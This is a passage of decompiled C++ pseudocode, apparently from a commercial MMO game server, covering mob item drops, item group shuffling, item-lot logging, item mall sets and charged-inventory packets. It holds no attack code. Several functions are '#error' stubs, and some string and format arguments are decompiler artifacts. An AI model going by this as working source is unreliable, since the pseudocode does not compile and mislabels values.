MobDataBox::MobDataBoxIndex *mobdata, #811 *a4, char victim, unsigned int loot_party, unsigned int loot_handle) { ItemDropFromMob::DropIndexCluster *v7; // edi@1 signed int v8; // ebx@1 char *v9; // [sp-4h] [bp-BCh]@10 FunctionEntarance _; // [sp+10h] [bp-A8h]@1 ORToken regengroup; // [sp+14h] [bp-A4h]@6 char buffer[128]; // [sp+28h] [bp-90h]@8 unsigned int v13; // [sp+A8h] [bp-10h]@13 int v14; // [sp+B4h] [bp-4h]@1 v7 = this; _.fe_FunctionCode = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; v8 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( !mobdata || !mobdata->data || mobdata->data->ID >= MobDataBox::operator int(&mobdatabox) ) { v9 = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; goto LABEL_12; } if ( !attacker ) { LABEL_10: v9 = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; LABEL_12: --funcallanalizer.fca_stackpoint; v14 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); goto LABEL_13; } if ( !victim ) { v8 = -1; goto LABEL_10; } ORToken::ORToken(®engroup, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit); if ( a4 ) MobRegenClass::MobBreeder::mb_RegenGroupIndex((void *)a4, (int)®engroup); ORToken::ort_GetString(®engroup, buffer); ItemDropFromMob::DropItemListForSpecies::dilfs_ItemDrop( &v7->dic_DropItemBySpecies[mobdata->data->ID], ®engroup, attacker, victim, loot_party, loot_handle); v14 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_13: __security_check_cookie(v13); } // 467DF0: inconsistent function type and number of purged bytes //----- (00467F70) -------------------------------------------------------- void __thiscall ItemDataBox::idb_iter_home(ItemDataBox *this, unsigned int *pnt) { *pnt = 0; } //----- (00467F80) -------------------------------------------------------- char __thiscall ItemDataBox::idb_iter_next(ItemDataBox *this, unsigned int *pnt) { unsigned int v2; // edx@1 v2 = *pnt + 1; *pnt = v2; return v2 < this->idb_Itemspacies; } //----- (00467FA0) -------------------------------------------------------- unsigned __int16 __thiscall ItemDataBox::idb_iter_Get(ItemDataBox *this, unsigned int *pnt) { unsigned __int16 result; // ax@2 if ( *pnt < this->idb_Itemspacies ) result = BinaryDataBox::operator__((BinaryDataBox *)&this->idb_BinData, *pnt)->ID; else result = -1; return result; } //----- (00467FD0) -------------------------------------------------------- void __thiscall ItemGroupClassifier::ItemGroupClassifier(ItemGroupClassifier *this) { ItemGroupClassifier *v1; // esi@1 v1 = this; BTree::BTree(&this->igc_btree); _eh_vector_constructor_iterator_( v1->igc_itemgroup, 0x20u, 1000, (void (__thiscall *)(void *))CardDeck::CardStack::CardStack, (void (__thiscall *)(void *))CardDeck::CardStack::_CardStack); } //----- (00468030) -------------------------------------------------------- void __thiscall ItemGroupClassifier::_ItemGroupClassifier(ItemGroupClassifier *this) { BTree *v1; // esi@1 v1 = (BTree *)this; _eh_vector_destructor_iterator_( this->igc_itemgroup, 0x20u, 1000, (void (__thiscall *)(void *))CardDeck::CardStack::_CardStack); BTree::_BTree(v1); } //----- (00468090) -------------------------------------------------------- void __thiscall ItemGroupClassifier::igc_Store(ItemGroupClassifier *this, unsigned __int16 itmid, char *dropgroup) { ItemGroupClassifier *v3; // edi@1 unsigned int v4; // esi@3 int v5; // eax@7 CardDeck::CardStack *v6; // esi@11 v3 = this; if ( *dropgroup && *dropgroup != 45 ) { v4 = BTree::operator__(&this->igc_btree, dropgroup); if ( v4 == -1 ) { v5 = v3->igc_point; if ( (unsigned int)v5 >= 0x3E8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::igc_Load : Too many groups", v5); ShineExit("ItemGroupClassifier::igc_Store"); } v4 = v3->igc_point; v3->igc_point = v4 + 1; BTree::bt_Insert(&v3->igc_btree, dropgroup, v4); } else { if ( v4 >= v3->igc_point ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::igc_Load : invalid index", v4); ShineExit("ItemGroupClassifier::igc_Store"); } } v6 = &v3->igc_itemgroup[v4]; CardDeck::CardStack::cs_InsertTop(v6, itmid); CardDeck::CardStack::cs_Suffle(v6, 1); } } //----- (00468160) -------------------------------------------------------- int __thiscall CardDeck::CardStack::cs_CardNum(CardDeck::CardStack *this) { return this->cs_deck.l_ListNum; } //----- (00468170) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_TakeTop(CardDeck::CardStack *this, unsigned int *card) { ListStruct *v2; // edx@1 unsigned __int16 v3; // ax@1 int v4; // eax@2 unsigned int *v5; // esi@3 unsigned __int16 result; // ax@4 int li; // [sp+0h] [bp-4h]@1 HIWORD(li) = HIWORD(this); v2 = this->cs_deck.l_Array; v3 = v2[this->cs_deck.l_Finger.store].ls_Next; if ( v3 < this->cs_deck.l_MaxSize && (v4 = (int)&v2[v3], *(_BYTE *)(v4 + 8)) && (v5 = *(unsigned int **)v4) != 0 ) { LOWORD(li) = v2[this->cs_deck.l_Finger.store].ls_Next; ((void (__stdcall *)(int))this->cs_deck.vfptr->l_Free)(li); *card = *v5; result = 1; } else { result = 0; } return result; } //----- (004681D0) -------------------------------------------------------- void __thiscall ItemGroupClassifier::igc_Load(ItemGroupClassifier *this) { unsigned int v1; // ebp@1 ItemGroupClassifier *v2; // ebx@1 signed __int16 i; // di@2 int v4; // esi@5 unsigned __int16 v5; // cx@7 v1 = 0; v2 = this; this->igc_point = 0; if ( itemdatabox.idb_Itemspacies > 0 ) goto LABEL_3; for ( i = -1; ; i = BinaryDataBox::operator__(&stru_12510A1C, v1)->ID ) { if ( (unsigned int)(unsigned __int16)i < unk_12510614 ) { v4 = unk_12510DB0 + 24 * (unsigned __int16)i; if ( v4 ) { if ( *(_DWORD *)v4 ) { v5 = **(_WORD **)v4; if ( v5 == i ) goto LABEL_10; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v5 + 10000 * (unsigned __int16)i); } } } v4 = 0; LABEL_10: ItemGroupClassifier::igc_Store(v2, i, (char *)(*(_DWORD *)(v4 + 4) + 66)); ItemGroupClassifier::igc_Store(v2, i, (char *)(*(_DWORD *)(v4 + 4) + 106)); ++v1; if ( v1 >= itemdatabox.idb_Itemspacies ) break; LABEL_3: ; } } //----- (00468280) -------------------------------------------------------- unsigned __int16 __thiscall ItemGroupClassifier::igc_Getitem(ItemGroupClassifier *this, char *str, unsigned int clsmask) { ItemGroupClassifier *v3; // edi@1 char *v4; // ebx@1 unsigned int v5; // eax@1 unsigned __int16 v6; // si@1 unsigned int v7; // eax@3 bool v8; // zf@4 int v9; // ebx@7 CardDeck::CardStack *v10; // edi@7 unsigned int v11; // ebp@7 ItemDataBox::ItemDataBoxIndex *v12; // eax@9 unsigned __int16 result; // ax@15 const char *v14; // [sp-8h] [bp-28h]@13 int v15; // [sp-4h] [bp-24h]@13 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemGroupClassifier::igc_Getitem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = str; v5 = BTree::operator__(&stru_12510618, str); v6 = v5; if ( v5 != -1 && (_WORD)v5 != -1 ) { LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); result = v6; } else { v7 = BTree::operator__(&v3->igc_btree, v4); if ( v7 != -1 ) { v8 = v7 >= v3->igc_point; str = (char *)(v7 < v3->igc_point); if ( v8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::operator [] : Invalid group name", v4); } else { v9 = (int)((char *)v3 + 32 * v7); v10 = (CardDeck::CardStack *)(v9 + 1028); CardDeck::CardStack::cs_Suffle((CardDeck::CardStack *)(v9 + 1028), 1); v11 = 0; if ( *(_WORD *)(v9 + 1048) ) { while ( 1 ) { if ( !CardDeck::CardStack::cs_TakeTop(v10, (unsigned int *)&str) ) { v15 = 0; v14 = "ItemGroupClassifier::operator [] : Empty card stack"; goto LABEL_14; } v6 = (unsigned __int16)str; CardDeck::CardStack::cs_InsertBottom(v10, (unsigned int)str); v12 = ItemDataBox::operator__(&itemdatabox, v6); if ( !v12 ) break; if ( clsmask & v12->data->WhoEquip ) goto LABEL_17; ++v11; if ( v11 >= *(_WORD *)(v9 + 1048) ) goto LABEL_15; } v15 = v6; v14 = "ItemGroupClassifier::igc_Getitem : Invalid Item"; LABEL_14: AssertClass::ac_AssertFail(&shineassert, v14, v15); } } } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); result = -1; } return result; } //----- (00468430) -------------------------------------------------------- char __thiscall ItemGroupClassifier::igc_ChargedDuringUse(ItemGroupClassifier *this, ItemAttributeClass *iac, ItemTotalInformation *iti) { int v3; // eax@1 int v4; // eax@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemGroupClassifier::igc_ChargedDuringUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ((int (__stdcall *)(_DWORD))iac->vfptr->iac_GetDeteleDateTime)(&iti->iti_itemstruct); if ( v3 && (v4 = *(_DWORD *)v3 & 0xFF) != 0 && v4 != 255 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); result = 0; } return result; } //----- (00468510) -------------------------------------------------------- int __stdcall ShineObjectClass::ShinePlayer::sp_CalcTotalLot(int bag, __int16 itemid) { int v2; // esi@1 int result; // eax@3 int v4; // eax@4 int ibii; // [sp+8h] [bp-20h]@1 int v6; // [sp+Ch] [bp-1Ch]@1 int v7; // [sp+10h] [bp-18h]@1 int v8; // [sp+14h] [bp-14h]@1 __int16 v9; // [sp+18h] [bp-10h]@1 int v10; // [sp+24h] [bp-4h]@1 ibii = (int)ItemBoxIterator::_vftable_; v6 = bag; v2 = 0; v8 = (*(int (**)(void))(*(_DWORD *)bag + 8))(); ibii = (int)&ItemBoxIterIdent::_vftable_; v9 = itemid; v10 = 0; v7 = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { do { v4 = (**(int (__stdcall ***)(_DWORD))v6)(v7); v2 += (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); } while ( ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ); result = v2; } else { result = 0; } return result; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (004685D0) -------------------------------------------------------- ItemLotInspector *__cdecl ShineObjectClass::ShineObject::so_ply_GetItemLotInspector() { return &ShineObjectClass::ShineObject::so_ItemLotInspector; } //----- (004685E0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetItemLotInspector(void *this) { return (int)((char *)this + 7436); } //----- (004685F0) -------------------------------------------------------- void __thiscall ItemLotInspector::ItemLotInspector(ItemLotInspector *this) { ItemLotInspector *v1; // eax@1 unsigned int v2; // esi@1 char *v3; // ecx@1 v1 = this; this->ili_ArrayPointer.mask = 63; this->ili_ArrayPointer.value = 0; v2 = this->ili_ArrayPointer.mask; this->ili_ArrayPointer.value = v2 & 1; v3 = &this->gap4[248 * (v2 & 1)]; v1->ili_Action = 0; *((_WORD *)v3 + 2) = -1; v3[228] = 0; v3[220] = 0; v3[112] = 0; v3[6] = 0; } //----- (00468640) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Clear(ItemLotInspector *this) { char *v1; // eax@1 signed int v2; // ecx@1 v1 = this->gap4; v2 = 64; do { *((_WORD *)v1 + 2) = -1; *(_DWORD *)v1 = 0; v1 += 248; --v2; } while ( v2 ); } //----- (00468670) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_CalcTotalLot(void *this, __int16 itemid, int isstoragecount, char first) { void *v4; // esi@1 int v5; // edi@1 int result; // eax@3 v4 = this; v5 = ShineObjectClass::ShinePlayer::sp_CalcTotalLot((int)((char *)this + 35568), itemid); if ( first ) { if ( *((_BYTE *)v4 + 23324) & 0x10 ) { result = ShineObjectClass::ShinePlayer::sp_CalcTotalLot((int)((char *)v4 + 69448), itemid) + v5; *(_BYTE *)isstoragecount = 1; } else { *(_BYTE *)isstoragecount = 0; result = v5; } } else { if ( *(_BYTE *)isstoragecount ) v5 += ShineObjectClass::ShinePlayer::sp_CalcTotalLot((int)((char *)v4 + 69448), itemid); result = v5; } return result; } //----- (004686F0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_History(ItemLotInspector *this) { ItemLotInspector *v1; // esi@1 unsigned int v2; // eax@1 DebugLogging *v3; // edi@3 _iobuf *v4; // eax@5 DebugLogging *v5; // edi@7 _iobuf *v6; // eax@9 DebugLogging *v7; // ebp@11 _iobuf *v8; // eax@13 DebugLogging *v9; // ebp@15 _iobuf *v10; // eax@17 DebugLogging *v11; // ebp@19 _iobuf *v12; // eax@21 DebugLogging *v13; // edi@23 _iobuf *v14; // eax@25 DebugLogging *v15; // ebp@27 _iobuf *v16; // eax@29 DebugLogging *v17; // ebp@31 _iobuf *v18; // eax@33 DebugLogging *v19; // ebp@35 _iobuf *v20; // eax@37 DebugLogging *v21; // edi@39 _iobuf *v22; // eax@41 DebugLogging *v23; // ebp@43 _iobuf *v24; // eax@45 DebugLogging *v25; // ebp@47 _iobuf *v26; // eax@49 DebugLogging *v27; // ebp@51 _iobuf *v28; // eax@53 DebugLogging *v29; // ebp@55 _iobuf *v30; // eax@57 DebugLogging *v31; // ebp@59 _iobuf *v32; // eax@61 DebugLogging *v33; // ebp@63 _iobuf *v34; // eax@65 DebugLogging *v35; // edi@67 _iobuf *v36; // eax@69 DebugLogging *v37; // edi@71 _iobuf *v38; // eax@73 DebugLogging *v39; // esi@75 _iobuf *v40; // eax@77 DebugLogging *v41; // esi@79 _iobuf *v42; // eax@82 bool v43; // sf@83 unsigned __int8 v44; // of@83 int k; // [sp+10h] [bp-20h]@1 int sub; // [sp+1Ch] [bp-14h]@3 unsigned int v47; // [sp+20h] [bp-10h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemLotInspector::ili_History"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemLotInspector::ili_History"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->ili_ArrayPointer.value; v47 = v1->ili_ArrayPointer.mask; k = 0; while ( 1 ) { sub = v47 & (v2 + 1); v3 = DebugLogging::operator<<(&ItemMSLog, "\t"); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } v5 = DebugLogging::operator<<(v3, " Act["); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, "] From0["); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } v11 = DebugLogging::operator<<(v9, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v11->dl_Activ ) { DebugLogging::dl_FilePoint(v11); v12 = v11->dl_FilePointer; if ( v12 ) fprintf(v12, "%d"); } } v13 = DebugLogging::operator<<(v11, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v13->dl_Activ ) { DebugLogging::dl_FilePoint(v13); v14 = v13->dl_FilePointer; if ( v14 ) fprintf(v14, "%d"); } } v15 = DebugLogging::operator<<(v13, "] From1["); if ( DebugLogging::dl_ActivAll ) { if ( v15->dl_Activ ) { DebugLogging::dl_FilePoint(v15); v16 = v15->dl_FilePointer; if ( v16 ) fprintf(v16, "%d"); } } v17 = DebugLogging::operator<<(v15, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v17->dl_Activ ) { DebugLogging::dl_FilePoint(v17); v18 = v17->dl_FilePointer; if ( v18 ) fprintf(v18, "%d"); } } v19 = DebugLogging::operator<<(v17, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v19->dl_Activ ) { DebugLogging::dl_FilePoint(v19); v20 = v19->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } } v21 = DebugLogging::operator<<(v19, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v21->dl_Activ ) { DebugLogging::dl_FilePoint(v21); v22 = v21->dl_FilePointer; if ( v22 ) fprintf(v22, "%d"); } } v23 = DebugLogging::operator<<(v21, "] To0["); if ( DebugLogging::dl_ActivAll ) { if ( v23->dl_Activ ) { DebugLogging::dl_FilePoint(v23); v24 = v23->dl_FilePointer; if ( v24 ) fprintf(v24, "%d"); } } v25 = DebugLogging::operator<<(v23, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v25->dl_Activ ) { DebugLogging::dl_FilePoint(v25); v26 = v25->dl_FilePointer; if ( v26 ) fprintf(v26, "%d"); } } v27 = DebugLogging::operator<<(v25, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v27->dl_Activ ) { DebugLogging::dl_FilePoint(v27); v28 = v27->dl_FilePointer; if ( v28 ) fprintf(v28, "%d"); } } v29 = DebugLogging::operator<<(v27, "] To1["); if ( DebugLogging::dl_ActivAll ) { if ( v29->dl_Activ ) { DebugLogging::dl_FilePoint(v29); v30 = v29->dl_FilePointer; if ( v30 ) fprintf(v30, "%d"); } } v31 = DebugLogging::operator<<(v29, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v31->dl_Activ ) { DebugLogging::dl_FilePoint(v31); v32 = v31->dl_FilePointer; if ( v32 ) fprintf(v32, "%d"); } } v33 = DebugLogging::operator<<(v31, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v33->dl_Activ ) { DebugLogging::dl_FilePoint(v33); v34 = v33->dl_FilePointer; if ( v34 ) fprintf(v34, "%d"); } } v35 = DebugLogging::operator<<(v33, "] MoveLot["); if ( DebugLogging::dl_ActivAll ) { if ( v35->dl_Activ ) { DebugLogging::dl_FilePoint(v35); v36 = v35->dl_FilePointer; if ( v36 ) fprintf(v36, "%d"); } } v37 = DebugLogging::operator<<(v35, "] TotalLot["); if ( DebugLogging::dl_ActivAll ) { if ( v37->dl_Activ ) { DebugLogging::dl_FilePoint(v37); v38 = v37->dl_FilePointer; if ( v38 ) fprintf(v38, "%d"); } } v39 = DebugLogging::operator<<(v37, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v39->dl_Activ ) { DebugLogging::dl_FilePoint(v39); v40 = v39->dl_FilePointer; if ( v40 ) fprintf(v40, "%d"); } } v41 = DebugLogging::operator<<(v39, (char *)&stru_59CBB8); if ( DebugLogging::dl_ActivAll && v41->dl_Activ && v41->dl_FilePointer ) { v42 = DebugLogging::dl_FilePoint(v41); fputc(10, v42); fflush(v41->dl_FilePointer); fclose(v41->dl_FilePointer); v41->dl_FilePointer = 0; } v44 = __OFSUB__(k + 1, 64); v43 = k++ - 63 < 0; if ( !(v43 ^ v44) ) break; v2 = sub; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotInspector::ili_History"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00468D90) -------------------------------------------------------- #error "468D90: undefined or illegal type '#440' (funcsize=93)" //----- (00468F00) -------------------------------------------------------- #error "468F00: undefined or illegal type '#440' (funcsize=236)" //----- (00469220) -------------------------------------------------------- #error "469220: undefined or illegal type '#440' (funcsize=38)" //----- (004692B0) -------------------------------------------------------- ItemMall::ItemSetList *__thiscall ItemMall::im_FindStruct(ItemMall *this, unsigned int code) { int v2; // esi@1 int v3; // eax@1 ItemMall *v4; // edx@2 ItemMall::ItemSetList *result; // eax@5 v2 = this->im_Goods; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this; while ( v4->im_Booth[0].isl_Code != code ) { ++v3; v4 = (ItemMall *)((char *)v4 + 88); if ( v3 >= v2 ) goto LABEL_5; } result = (ItemMall::ItemSetList *)((char *)this + 88 * v3); } return result; } //----- (004692F0) -------------------------------------------------------- void __thiscall ItemMall::im_AddSet(ItemMall *this, ItemMall::ItemSetList *isl, ItemShop *is) { unsigned int v3; // eax@4 if ( isl->isl_NumOfSet >= 10 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, isl->isl_Code); ShineExit((char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[2]); } isl->isl_SetItem[isl->isl_NumOfSet].lot = is->Lot; v3 = BTree::operator__(&stru_12510618, is->InxName); if ( v3 == -1 ) LOWORD(v3) = -1; isl->isl_SetItem[isl->isl_NumOfSet].item = v3; if ( isl->isl_SetItem[isl->isl_NumOfSet].item == -1 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[1], is->InxName); ShineExit((char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[2]); } ++isl->isl_NumOfSet; } //----- (00469390) -------------------------------------------------------- #error "469390: undefined or illegal type '#440' (funcsize=24)" //----- (004693E0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3Du, 0x28u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00469490) -------------------------------------------------------- void __thiscall ItemMall::im_NewSet(ItemMall *this, ItemShop *is) { ItemMall *v2; // esi@1 int v3; // edx@1 v2 = this; v3 = this->im_Goods; if ( v3 >= 8192 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[5].mts_AggroPoint, v3 < 8192); ShineExit((char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } this->im_Booth[this->im_Goods].isl_Code = is->goodsNo; this->im_Booth[this->im_Goods].isl_NumOfSet = 0; ItemMall::im_AddSet(this, (ItemMall::ItemSetList *)this + this->im_Goods, is); ++v2->im_Goods; } //----- (00469510) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@5 ZoneBaseSession *v6; // eax@7 char *v7; // [sp-4h] [bp-20h]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S7_0 & 1) ) { _S7_0 |= 1u; cmc_43.cmc_AllowMode = 86; atexit(_E8_16); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_43.cmc_AllowMode ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13411; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *((_WORD *)v5 + 6) = 24 * *(_WORD *)(netcmd + 2); *((_WORD *)v5 + 7) = 24 * *(_WORD *)(netcmd + 2) + 23; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[6].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 16); } v7 = (char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 33, 4162); v7 = (char *)&stru_5A89E0.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (00469690) -------------------------------------------------------- #error "469690: undefined or illegal type '#331' (funcsize=53)" //----- (00469770) -------------------------------------------------------- #error "469770: undefined or illegal type '#331' (funcsize=373)" //----- (00469D00) -------------------------------------------------------- #error "469D00: undefined or illegal type '#331' (funcsize=53)" //----- (00469DE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedWithdraw(void *this, int withdraw) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 int v5; // eax@5 int v6; // ST04_4@6 DebugLogging *v7; // eax@6 DebugLogging *v8; // eax@6 int v9; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5A89E0.maa_MobActionStruct.attack); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5A89E0.maa_MobActionStruct.attack; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12323; *((_WORD *)v3 + 3) = *(_WORD *)(withdraw + 24); *(_DWORD *)(v3 + 2) = *((_DWORD *)v2 + 23029); *((_DWORD *)v2 + 23029) = -1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_5A89E0.maa_TargetSelect.selector, 8); } if ( *(_WORD *)(withdraw + 24) == 4161 ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( (unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v9 + 32))(v9, *(_WORD *)(withdraw + 6)); } else { v6 = *(_WORD *)(withdraw + 6); v7 = DebugLogging::operator<<( &LockIndexLog, (char *)&stru_5A89E0.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)&stru_5A89E0.maa_MobActionStruct.attack); } //----- (00469F40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillChargedInven(void *this, int chargedlist) { void *v2; // ebx@1 char *v3; // esi@1 int v4; // edi@1 __int16 v5; // ax@1 int v6; // ebp@1 int v7; // ebx@5 int v8; // ebp@5 int v9; // esi@13 int v10; // eax@15 void *v11; // [sp+10h] [bp-14h]@1 signed int chargedlista; // [sp+28h] [bp+4h]@4 v2 = this; v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_FillChargedInven"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_FillChargedInven"; 